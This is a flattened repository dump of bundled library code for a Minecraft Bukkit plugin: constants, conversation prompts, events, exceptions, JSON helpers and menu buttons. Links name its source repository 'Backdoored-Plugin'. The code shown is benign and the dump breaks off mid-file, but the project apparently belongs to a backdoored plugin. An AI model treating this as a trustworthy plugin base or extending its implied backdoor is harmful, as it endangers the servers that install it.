import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target({ElementType.TYPE}) 10 | public @interface PermissionGroup { 11 | String value() default ""; 12 | } 13 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/constants/FoConstants.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.constants; 2 | 3 | import java.util.UUID; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import me.ego.ezbd.lib.fo.TimeUtil; 6 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 7 | 8 | public final class FoConstants { 9 | public static final UUID NULL_UUID = UUID.fromString("00000000-0000-0000-0000-000000000000"); 10 | 11 | public FoConstants() { 12 | } 13 | 14 | public static final class NBT { 15 | public static final String TAG = SimplePlugin.getNamed() + "_NbtTag"; 16 | public static final String TAG_MENU_CURRENT = SimplePlugin.getNamed() + "_Menu"; 17 | public static final String TAG_MENU_PREVIOUS = SimplePlugin.getNamed() + "_Previous_Menu"; 18 | 19 | public NBT() { 20 | } 21 | } 22 | 23 | public static final class Header { 24 | public static final String[] DATA_FILE = new String[]{"", "This file stores various data you create via the plugin.", "", " ** THE FILE IS MACHINE GENERATED. PLEASE DO NOT EDIT **", ""}; 25 | public static final String[] UPDATED_FILE = new String[]{Common.configLine(), "", " Your file has been automatically updated at " + TimeUtil.getFormattedDate(), " to " + SimplePlugin.getNamed() + " " + SimplePlugin.getVersion(), "", " Unfortunatelly, due to how Bukkit saves all .yml files, it was not possible", " preserve the documentation comments in your file. We apologize.", "", " If you'd like to view the default file, you can either:", " a) Open the " + SimplePlugin.getSource().getName() + " with a WinRar or similar", " b) or, visit: https://github.com/kangarko/" + SimplePlugin.getNamed() + "/wiki", "", Common.configLine(), ""}; 26 | 27 | public Header() { 28 | } 29 | } 30 | 31 | public static final class File { 32 | public static final String SETTINGS = "settings.yml"; 33 | public static final String ERRORS = "error.log"; 34 | public static final String DEBUG = "debug.log"; 35 | public static final String DATA = "data.db"; 36 | 37 | public File() { 38 | } 39 | 40 | public static final class ChatControl { 41 | public static final String COMMAND_SPY = "logs/command-spy.log"; 42 | public static final String CHAT_LOG = "logs/chat.log"; 43 | public static final String ADMIN_CHAT = "logs/admin-chat.log"; 44 | public static final String BUNGEE_CHAT = "logs/bungee-chat.log"; 45 | public static final String RULES_LOG = "logs/rules.log"; 46 | public static final String CONSOLE_LOG = "logs/console.log"; 47 | public static final String CHANNEL_JOINS = "logs/channel-joins.log"; 48 | 49 | public ChatControl() { 50 | } 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/constants/FoPermissions.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.constants; 2 | 3 | import me.ego.ezbd.lib.fo.command.annotation.Permission; 4 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 5 | 6 | public class FoPermissions { 7 | @Permission("Receive plugin update notifications on join.") 8 | public static final String NOTIFY_UPDATE = SimplePlugin.getNamed().toLowerCase() + ".notify.update"; 9 | 10 | public FoPermissions() { 11 | } 12 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/conversation/SimpleCanceller.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.conversation; 2 | 3 | import java.util.Arrays; 4 | import java.util.Iterator; 5 | import java.util.List; 6 | import me.ego.ezbd.lib.fo.Valid; 7 | import org.bukkit.conversations.Conversation; 8 | import org.bukkit.conversations.ConversationCanceller; 9 | import org.bukkit.conversations.ConversationContext; 10 | 11 | public final class SimpleCanceller implements ConversationCanceller { 12 | private final List cancelPhrases; 13 | 14 | public SimpleCanceller(String... cancelPhrases) { 15 | this(Arrays.asList(cancelPhrases)); 16 | } 17 | 18 | public SimpleCanceller(List cancelPhrases) { 19 | Valid.checkBoolean(!cancelPhrases.isEmpty(), "Cancel phrases are empty for conversation cancel listener!", new Object[0]); 20 | this.cancelPhrases = cancelPhrases; 21 | } 22 | 23 | public void setConversation(Conversation conversation) { 24 | } 25 | 26 | public boolean cancelBasedOnInput(ConversationContext context, String input) { 27 | Iterator var3 = this.cancelPhrases.iterator(); 28 | 29 | String phrase; 30 | do { 31 | if (!var3.hasNext()) { 32 | return false; 33 | } 34 | 35 | phrase = (String)var3.next(); 36 | } while(!input.equalsIgnoreCase(phrase)); 37 | 38 | return true; 39 | } 40 | 41 | public ConversationCanceller clone() { 42 | return new SimpleCanceller(this.cancelPhrases); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/conversation/SimpleDecimalPrompt.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.conversation; 2 | 3 | import java.util.function.Consumer; 4 | import lombok.NonNull; 5 | import me.ego.ezbd.lib.fo.Valid; 6 | import me.ego.ezbd.lib.fo.settings.SimpleLocalization.Commands; 7 | import org.bukkit.conversations.ConversationContext; 8 | import org.bukkit.conversations.Prompt; 9 | import org.bukkit.entity.Player; 10 | 11 | public class SimpleDecimalPrompt extends SimplePrompt { 12 | private String question = null; 13 | private Consumer successAction; 14 | 15 | protected String getPrompt(ConversationContext ctx) { 16 | Valid.checkNotNull(this.question, "Please either call setQuestion or override getPrompt"); 17 | return "&6" + this.question; 18 | } 19 | 20 | protected boolean isInputValid(ConversationContext context, String input) { 21 | return Valid.isDecimal(input) || Valid.isInteger(input); 22 | } 23 | 24 | protected String getFailedValidationText(ConversationContext context, String invalidInput) { 25 | return Commands.INVALID_NUMBER.replace("{input}", invalidInput); 26 | } 27 | 28 | protected final Prompt acceptValidatedInput(@NonNull ConversationContext context, @NonNull String input) { 29 | if (context == null) { 30 | throw new NullPointerException("context is marked non-null but is null"); 31 | } else if (input == null) { 32 | throw new NullPointerException("input is marked non-null but is null"); 33 | } else { 34 | return this.acceptValidatedInput(context, Double.parseDouble(input)); 35 | } 36 | } 37 | 38 | protected Prompt acceptValidatedInput(ConversationContext context, double input) { 39 | Valid.checkNotNull(this.question, "Please either call setSuccessAction or override acceptValidatedInput"); 40 | this.successAction.accept(input); 41 | return Prompt.END_OF_CONVERSATION; 42 | } 43 | 44 | public static void show(Player player, String question, Consumer successAction) { 45 | (new SimpleDecimalPrompt(question, successAction)).show(player); 46 | } 47 | 48 | public SimpleDecimalPrompt() { 49 | } 50 | 51 | public SimpleDecimalPrompt(String question, Consumer successAction) { 52 | this.question = question; 53 | this.successAction = successAction; 54 | } 55 | 56 | protected void setQuestion(String question) { 57 | this.question = question; 58 | } 59 | 60 | protected void setSuccessAction(Consumer successAction) { 61 | this.successAction = successAction; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/conversation/SimplePrefix.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.conversation; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | import org.bukkit.conversations.ConversationContext; 5 | import org.bukkit.conversations.ConversationPrefix; 6 | 7 | public final class SimplePrefix implements ConversationPrefix { 8 | private final String prefix; 9 | 10 | public String getPrefix(ConversationContext context) { 11 | return Common.colorize(this.prefix); 12 | } 13 | 14 | public SimplePrefix(String prefix) { 15 | this.prefix = prefix; 16 | } 17 | 18 | public String getPrefix() { 19 | return this.prefix; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/event/MenuOpenEvent.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.event; 2 | 3 | import me.ego.ezbd.lib.fo.menu.Menu; 4 | import me.ego.ezbd.lib.fo.menu.model.InventoryDrawer; 5 | import org.bukkit.entity.Player; 6 | import org.bukkit.event.Cancellable; 7 | import org.bukkit.event.HandlerList; 8 | 9 | public final class MenuOpenEvent extends SimpleEvent implements Cancellable { 10 | private static final HandlerList handlers = new HandlerList(); 11 | private final Menu menu; 12 | private final InventoryDrawer drawer; 13 | private final Player player; 14 | private boolean cancelled; 15 | 16 | public HandlerList getHandlers() { 17 | return handlers; 18 | } 19 | 20 | public static HandlerList getHandlerList() { 21 | return handlers; 22 | } 23 | 24 | public Menu getMenu() { 25 | return this.menu; 26 | } 27 | 28 | public InventoryDrawer getDrawer() { 29 | return this.drawer; 30 | } 31 | 32 | public Player getPlayer() { 33 | return this.player; 34 | } 35 | 36 | public boolean isCancelled() { 37 | return this.cancelled; 38 | } 39 | 40 | public MenuOpenEvent(Menu menu, InventoryDrawer drawer, Player player) { 41 | this.menu = menu; 42 | this.drawer = drawer; 43 | this.player = player; 44 | } 45 | 46 | public void setCancelled(boolean cancelled) { 47 | this.cancelled = cancelled; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/event/RegionScanCompleteEvent.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.event; 2 | 3 | import org.bukkit.World; 4 | import org.bukkit.event.HandlerList; 5 | 6 | public final class RegionScanCompleteEvent extends SimpleEvent { 7 | private static final HandlerList handlers = new HandlerList(); 8 | private final World world; 9 | 10 | public HandlerList getHandlers() { 11 | return handlers; 12 | } 13 | 14 | public static HandlerList getHandlerList() { 15 | return handlers; 16 | } 17 | 18 | public World getWorld() { 19 | return this.world; 20 | } 21 | 22 | public RegionScanCompleteEvent(World world) { 23 | this.world = world; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/event/RocketExplosionEvent.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.event; 2 | 3 | import me.ego.ezbd.lib.fo.menu.tool.Rocket; 4 | import org.bukkit.entity.Projectile; 5 | import org.bukkit.event.Cancellable; 6 | import org.bukkit.event.HandlerList; 7 | 8 | public final class RocketExplosionEvent extends SimpleEvent implements Cancellable { 9 | private static final HandlerList handlers = new HandlerList(); 10 | private final Rocket rocket; 11 | private final Projectile projectile; 12 | private float power; 13 | private boolean breakBlocks; 14 | private boolean cancelled; 15 | 16 | public RocketExplosionEvent(Rocket rocket, Projectile projectile, float power, boolean breakBlocks) { 17 | this.rocket = rocket; 18 | this.projectile = projectile; 19 | this.power = power; 20 | this.breakBlocks = breakBlocks; 21 | } 22 | 23 | public HandlerList getHandlers() { 24 | return handlers; 25 | } 26 | 27 | public static HandlerList getHandlerList() { 28 | return handlers; 29 | } 30 | 31 | public Rocket getRocket() { 32 | return this.rocket; 33 | } 34 | 35 | public Projectile getProjectile() { 36 | return this.projectile; 37 | } 38 | 39 | public float getPower() { 40 | return this.power; 41 | } 42 | 43 | public boolean isBreakBlocks() { 44 | return this.breakBlocks; 45 | } 46 | 47 | public boolean isCancelled() { 48 | return this.cancelled; 49 | } 50 | 51 | public void setPower(float power) { 52 | this.power = power; 53 | } 54 | 55 | public void setBreakBlocks(boolean breakBlocks) { 56 | this.breakBlocks = breakBlocks; 57 | } 58 | 59 | public void setCancelled(boolean cancelled) { 60 | this.cancelled = cancelled; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/event/SimpleEvent.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.event; 2 | 3 | import org.bukkit.Bukkit; 4 | import org.bukkit.event.Event; 5 | 6 | public abstract class SimpleEvent extends Event { 7 | protected SimpleEvent() { 8 | super(!Bukkit.isPrimaryThread()); 9 | } 10 | 11 | protected SimpleEvent(boolean async) { 12 | super(async); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/exception/CommandException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.exception; 2 | 3 | public class CommandException extends RuntimeException { 4 | private static final long serialVersionUID = 1L; 5 | private final String[] messages; 6 | 7 | public CommandException(String... messages) { 8 | super(""); 9 | this.messages = messages; 10 | } 11 | 12 | public String[] getMessages() { 13 | return this.messages; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/exception/EventHandledException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.exception; 2 | 3 | public final class EventHandledException extends CommandException { 4 | private static final long serialVersionUID = 1L; 5 | private final boolean cancelled; 6 | 7 | public EventHandledException() { 8 | this(true); 9 | } 10 | 11 | public EventHandledException(boolean cancelled, String... messages) { 12 | super(messages); 13 | this.cancelled = cancelled; 14 | } 15 | 16 | public boolean isCancelled() { 17 | return this.cancelled; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/exception/FoException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.exception; 2 | 3 | import me.ego.ezbd.lib.fo.debug.Debugger; 4 | 5 | public class FoException extends RuntimeException { 6 | private static final long serialVersionUID = 1L; 7 | 8 | public FoException(Throwable t) { 9 | super(t); 10 | Debugger.saveError(t, new String[0]); 11 | } 12 | 13 | public FoException(String message) { 14 | super(message); 15 | Debugger.saveError(this, new String[]{message}); 16 | } 17 | 18 | public FoException(Throwable t, String message) { 19 | super(message, t); 20 | Debugger.saveError(t, new String[]{message}); 21 | } 22 | 23 | public FoException() { 24 | Debugger.saveError(this, new String[0]); 25 | } 26 | 27 | public String getMessage() { 28 | return "Report: " + super.getMessage(); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/exception/InvalidCommandArgException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.exception; 2 | 3 | public final class InvalidCommandArgException extends CommandException { 4 | private static final long serialVersionUID = 1L; 5 | 6 | public InvalidCommandArgException() { 7 | super(new String[0]); 8 | } 9 | 10 | public InvalidCommandArgException(String message) { 11 | super(new String[]{message}); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/exception/InvalidWorldException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.exception; 2 | 3 | public final class InvalidWorldException extends RuntimeException { 4 | private static final long serialVersionUID = 1L; 5 | private final String world; 6 | 7 | public InvalidWorldException(String message, String world) { 8 | super(message); 9 | this.world = world; 10 | } 11 | 12 | public String getWorld() { 13 | return this.world; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/exception/RegexTimeoutException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.exception; 2 | 3 | public final class RegexTimeoutException extends RuntimeException { 4 | private static final long serialVersionUID = 1L; 5 | private final String checkedMessage; 6 | private final long executionLimit; 7 | 8 | public RegexTimeoutException(CharSequence checkedMessage, long timeoutLimit) { 9 | this.checkedMessage = checkedMessage.toString(); 10 | this.executionLimit = timeoutLimit; 11 | } 12 | 13 | public String getCheckedMessage() { 14 | return this.checkedMessage; 15 | } 16 | 17 | public long getExecutionLimit() { 18 | return this.executionLimit; 19 | } 20 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/JSONContentHandler.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.jsonsimple; 2 | 3 | import java.io.IOException; 4 | 5 | public interface JSONContentHandler { 6 | void startJSON() throws JSONParseException, IOException; 7 | 8 | void endJSON() throws JSONParseException, IOException; 9 | 10 | boolean startObject() throws JSONParseException, IOException; 11 | 12 | boolean endObject() throws JSONParseException, IOException; 13 | 14 | boolean startObjectEntry(String var1) throws JSONParseException, IOException; 15 | 16 | boolean endObjectEntry() throws JSONParseException, IOException; 17 | 18 | boolean startArray() throws JSONParseException, IOException; 19 | 20 | boolean endArray() throws JSONParseException, IOException; 21 | 22 | boolean primitive(Object var1) throws JSONParseException, IOException; 23 | } 24 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/JSONParseException.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.jsonsimple; 2 | 3 | public class JSONParseException extends Exception { 4 | private static final long serialVersionUID = -7880698968187728547L; 5 | public static final int ERROR_UNEXPECTED_CHAR = 0; 6 | public static final int ERROR_UNEXPECTED_TOKEN = 1; 7 | public static final int ERROR_UNEXPECTED_EXCEPTION = 2; 8 | private final int errorType; 9 | private final Object unexpectedObject; 10 | private final int position; 11 | 12 | public JSONParseException(int errorType) { 13 | this(-1, errorType, (Object)null); 14 | } 15 | 16 | public JSONParseException(int errorType, Object unexpectedObject) { 17 | this(-1, errorType, unexpectedObject); 18 | } 19 | 20 | public JSONParseException(int position, int errorType, Object unexpectedObject) { 21 | this.position = position; 22 | this.errorType = errorType; 23 | this.unexpectedObject = unexpectedObject; 24 | } 25 | 26 | public int getErrorType() { 27 | return this.errorType; 28 | } 29 | 30 | public int getPosition() { 31 | return this.position; 32 | } 33 | 34 | public Object getUnexpectedObject() { 35 | return this.unexpectedObject; 36 | } 37 | 38 | public String getMessage() { 39 | StringBuilder builder = new StringBuilder(); 40 | switch(this.errorType) { 41 | case 0: 42 | builder.append("Unexpected character (").append(this.unexpectedObject).append(") at position ").append(this.position).append("."); 43 | break; 44 | case 1: 45 | builder.append("Unexpected token ").append(this.unexpectedObject).append(" at position ").append(this.position).append("."); 46 | break; 47 | case 2: 48 | builder.append("Unexpected exception at position ").append(this.position).append(": ").append(this.unexpectedObject); 49 | break; 50 | default: 51 | builder.append("Unkown error at position ").append(this.position).append("."); 52 | } 53 | 54 | return builder.toString(); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/JSONTypeSerializationHandler.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.jsonsimple; 2 | 3 | public interface JSONTypeSerializationHandler { 4 | Object serialize(Class var1, Object var2); 5 | 6 | Object deserialize(Class var1, Object var2); 7 | } 8 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/JSONUtil.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.jsonsimple; 2 | 3 | import java.util.Collection; 4 | import java.util.Map; 5 | 6 | public final class JSONUtil { 7 | private JSONUtil() { 8 | } 9 | 10 | public static String escape(String string) { 11 | if (string != null) { 12 | StringBuilder builder = new StringBuilder(); 13 | JsonSimpleUtil.escape(string, builder); 14 | return builder.toString(); 15 | } else { 16 | return null; 17 | } 18 | } 19 | 20 | public static boolean isJSONType(Object value) { 21 | return value == null || value instanceof Number || value instanceof String || value instanceof Boolean || value instanceof Collection || value instanceof Map || value.getClass().isArray(); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/Yytoken.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.jsonsimple; 2 | 3 | public class Yytoken { 4 | public static final int TYPE_VALUE = 0; 5 | public static final int TYPE_LEFT_BRACE = 1; 6 | public static final int TYPE_RIGHT_BRACE = 2; 7 | public static final int TYPE_LEFT_SQUARE = 3; 8 | public static final int TYPE_RIGHT_SQUARE = 4; 9 | public static final int TYPE_COMMA = 5; 10 | public static final int TYPE_COLON = 6; 11 | public static final int TYPE_EOF = -1; 12 | public int type; 13 | public Object value; 14 | 15 | public Yytoken(int type, Object value) { 16 | this.type = type; 17 | this.value = value; 18 | } 19 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONAttribute.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssllllll/Backdoored-Plugin/d283d989789f7cb6e747a4523dd41d00b4f1065f/me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONAttribute.java -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONRoot.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssllllll/Backdoored-Plugin/d283d989789f7cb6e747a4523dd41d00b4f1065f/me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONRoot.java -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/MenuQuantitable.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu; 2 | 3 | import me.ego.ezbd.lib.fo.menu.button.Button; 4 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator; 5 | import me.ego.ezbd.lib.fo.menu.model.MenuQuantity; 6 | import me.ego.ezbd.lib.fo.remain.CompMaterial; 7 | import org.bukkit.entity.Player; 8 | import org.bukkit.event.inventory.ClickType; 9 | import org.bukkit.inventory.ItemStack; 10 | 11 | public interface MenuQuantitable { 12 | MenuQuantity getQuantity(); 13 | 14 | void setQuantity(MenuQuantity var1); 15 | 16 | default int getNextQuantity(ClickType clickType) { 17 | return clickType == ClickType.LEFT ? -this.getQuantity().getAmount() : this.getQuantity().getAmount(); 18 | } 19 | 20 | default Button getEditQuantityButton(final Menu menu) { 21 | return new Button() { 22 | public final void onClickedInMenu(Player pl, Menu clickedMenu, ClickType click) { 23 | MenuQuantitable.this.setQuantity(click == ClickType.LEFT ? MenuQuantitable.this.getQuantity().previous() : MenuQuantitable.this.getQuantity().next()); 24 | menu.redraw(); 25 | menu.animateTitle("&9Editing quantity set to " + MenuQuantitable.this.getQuantity().getAmount()); 26 | } 27 | 28 | public ItemStack getItem() { 29 | return ItemCreator.of(CompMaterial.STRING, "Edit Quantity: &7" + MenuQuantitable.this.getQuantity().getAmount(), new String[]{"", "&8< &7Left click to decrease", "&8> &7Right click to increase"}).build().make(); 30 | } 31 | }; 32 | } 33 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/ToggleableTool.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu; 2 | 3 | import java.util.Arrays; 4 | import me.ego.ezbd.lib.fo.exception.FoException; 5 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator; 6 | import me.ego.ezbd.lib.fo.menu.tool.Tool; 7 | import me.ego.ezbd.lib.fo.model.SimpleEnchant; 8 | import me.ego.ezbd.lib.fo.remain.CompItemFlag; 9 | import org.bukkit.Material; 10 | import org.bukkit.enchantments.Enchantment; 11 | import org.bukkit.entity.Player; 12 | import org.bukkit.inventory.ItemStack; 13 | import org.bukkit.inventory.PlayerInventory; 14 | 15 | final class ToggleableTool { 16 | private final ItemStack item; 17 | private boolean playerHasTool = false; 18 | 19 | ToggleableTool(Object unparsed) { 20 | if (unparsed != null) { 21 | if (unparsed instanceof ItemStack) { 22 | this.item = (ItemStack)unparsed; 23 | } else if (unparsed instanceof Tool) { 24 | this.item = ((Tool)unparsed).getItem(); 25 | } else { 26 | if (!(unparsed instanceof Number) || ((Number)unparsed).intValue() != 0) { 27 | throw new FoException("Unknown tool: " + unparsed + " (we only accept ItemStack, Tool's instance or 0 for air)"); 28 | } 29 | 30 | this.item = new ItemStack(Material.AIR); 31 | } 32 | } else { 33 | this.item = new ItemStack(Material.AIR); 34 | } 35 | 36 | } 37 | 38 | ItemStack get(Player player) { 39 | this.update(player); 40 | return this.playerHasTool ? this.getToolWhenHas() : this.getToolWhenHasnt(); 41 | } 42 | 43 | private void update(Player pl) { 44 | this.playerHasTool = pl.getOpenInventory().getBottomInventory().containsAtLeast(this.item, 1); 45 | } 46 | 47 | private ItemStack getToolWhenHas() { 48 | return ItemCreator.of(this.item).enchant(new SimpleEnchant(Enchantment.ARROW_INFINITE, 1)).flag(CompItemFlag.HIDE_ENCHANTS).lores(Arrays.asList("", "&cYou already have this item.", "&7Click to take it away.")).build().make(); 49 | } 50 | 51 | private ItemStack getToolWhenHasnt() { 52 | return this.item; 53 | } 54 | 55 | void giveOrTake(Player player) { 56 | PlayerInventory inv = player.getInventory(); 57 | if (this.playerHasTool = !this.playerHasTool) { 58 | inv.addItem(new ItemStack[]{this.item}); 59 | } else { 60 | inv.removeItem(new ItemStack[]{this.item}); 61 | } 62 | 63 | } 64 | 65 | boolean equals(ItemStack item) { 66 | return this.getToolWhenHas().isSimilar(item) || this.getToolWhenHasnt().isSimilar(item); 67 | } 68 | 69 | public String toString() { 70 | return "Toggleable{" + this.item.getType() + "}"; 71 | } 72 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/button/ButtonConversation.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.button; 2 | 3 | import me.ego.ezbd.lib.fo.Valid; 4 | import me.ego.ezbd.lib.fo.conversation.SimpleConversation; 5 | import me.ego.ezbd.lib.fo.conversation.SimplePrompt; 6 | import me.ego.ezbd.lib.fo.menu.Menu; 7 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator; 8 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator.ItemCreatorBuilder; 9 | import me.ego.ezbd.lib.fo.remain.CompMaterial; 10 | import org.bukkit.entity.Player; 11 | import org.bukkit.event.inventory.ClickType; 12 | import org.bukkit.inventory.ItemStack; 13 | 14 | public final class ButtonConversation extends Button { 15 | private final SimpleConversation conversation; 16 | private final SimplePrompt prompt; 17 | private final ItemStack item; 18 | 19 | public ButtonConversation(SimpleConversation convo, CompMaterial material, String title, String... lore) { 20 | this(convo, ItemCreator.of(material, title, lore)); 21 | } 22 | 23 | public ButtonConversation(SimpleConversation convo, ItemCreatorBuilder item) { 24 | this(convo, (SimplePrompt)null, item.hideTags(true).build().make()); 25 | } 26 | 27 | public ButtonConversation(SimpleConversation convo, ItemCreator item) { 28 | this(convo, (SimplePrompt)null, item.make()); 29 | } 30 | 31 | public ButtonConversation(SimplePrompt prompt, CompMaterial material, String title, String... lore) { 32 | this(prompt, ItemCreator.of(material, title, lore)); 33 | } 34 | 35 | public ButtonConversation(SimplePrompt prompt, ItemCreator item) { 36 | this((SimpleConversation)null, prompt, item.make()); 37 | } 38 | 39 | public ButtonConversation(SimplePrompt prompt, ItemCreatorBuilder item) { 40 | this((SimpleConversation)null, prompt, item.hideTags(true).build().make()); 41 | } 42 | 43 | private ButtonConversation(SimpleConversation conversation, SimplePrompt prompt, ItemStack item) { 44 | this.conversation = conversation; 45 | this.prompt = prompt; 46 | this.item = item; 47 | } 48 | 49 | public void onClickedInMenu(Player player, Menu menu, ClickType click) { 50 | Valid.checkBoolean(this.conversation != null || this.prompt != null, "Conversation and prompt cannot be null!", new Object[0]); 51 | if (this.conversation != null) { 52 | this.conversation.setMenuToReturnTo(menu); 53 | this.conversation.start(player); 54 | } else { 55 | this.prompt.show(player); 56 | } 57 | 58 | } 59 | 60 | public ItemStack getItem() { 61 | return this.item; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/button/ButtonMenu.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.button; 2 | 3 | import java.util.concurrent.Callable; 4 | import me.ego.ezbd.lib.fo.ReflectionUtil; 5 | import me.ego.ezbd.lib.fo.Valid; 6 | import me.ego.ezbd.lib.fo.menu.Menu; 7 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator; 8 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator.ItemCreatorBuilder; 9 | import me.ego.ezbd.lib.fo.remain.CompMaterial; 10 | import org.bukkit.entity.Player; 11 | import org.bukkit.event.inventory.ClickType; 12 | import org.bukkit.inventory.ItemStack; 13 | 14 | public final class ButtonMenu extends Button { 15 | private final Callable menuLateBind; 16 | private final Menu menuToOpen; 17 | private final ItemStack item; 18 | private final boolean newInstance; 19 | 20 | public ButtonMenu(Class menuClass, CompMaterial material, String name, String... lore) { 21 | this((Menu)null, () -> { 22 | return (Menu)ReflectionUtil.instantiate(menuClass); 23 | }, ItemCreator.of(material, name, lore).hideTags(true).build().make(), false); 24 | } 25 | 26 | public ButtonMenu(Callable menuLateBind, ItemCreatorBuilder item) { 27 | this((Menu)null, menuLateBind, item.hideTags(true).build().make(), false); 28 | } 29 | 30 | public ButtonMenu(Callable menuLateBind, ItemStack item) { 31 | this((Menu)null, menuLateBind, item, false); 32 | } 33 | 34 | public ButtonMenu(Menu menu, CompMaterial material, String name, String... lore) { 35 | this(menu, ItemCreator.of(material, name, lore)); 36 | } 37 | 38 | public ButtonMenu(Menu menu, ItemCreatorBuilder item) { 39 | this(menu, (Callable)null, item.hideTags(true).build().make(), false); 40 | } 41 | 42 | public ButtonMenu(Menu menu, ItemStack item) { 43 | this(menu, (Callable)null, item, false); 44 | } 45 | 46 | public ButtonMenu(Menu menu, ItemStack item, boolean newInstance) { 47 | this(menu, (Callable)null, item, newInstance); 48 | } 49 | 50 | private ButtonMenu(Menu menuToOpen, Callable menuLateBind, ItemStack item, boolean newInstance) { 51 | this.menuToOpen = menuToOpen; 52 | this.menuLateBind = menuLateBind; 53 | this.item = item; 54 | this.newInstance = newInstance; 55 | } 56 | 57 | public void onClickedInMenu(Player pl, Menu menu, ClickType click) { 58 | if (this.menuLateBind != null) { 59 | Menu menuToOpen = null; 60 | 61 | try { 62 | menuToOpen = (Menu)this.menuLateBind.call(); 63 | } catch (Exception var6) { 64 | var6.printStackTrace(); 65 | return; 66 | } 67 | 68 | if (this.newInstance) { 69 | menuToOpen = menuToOpen.newInstance(); 70 | } 71 | 72 | menuToOpen.displayTo(pl); 73 | } else { 74 | Valid.checkNotNull(this.menuToOpen, "Report / ButtonTrigger requires either 'late bind menu' or normal menu to be set!"); 75 | if (this.newInstance) { 76 | this.menuToOpen.newInstance().displayTo(pl); 77 | } else { 78 | this.menuToOpen.displayTo(pl); 79 | } 80 | } 81 | 82 | } 83 | 84 | public ItemStack getItem() { 85 | return this.item; 86 | } 87 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/button/ButtonReturnBack.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.button; 2 | 3 | import java.util.Arrays; 4 | import java.util.List; 5 | import lombok.NonNull; 6 | import me.ego.ezbd.lib.fo.menu.Menu; 7 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator; 8 | import 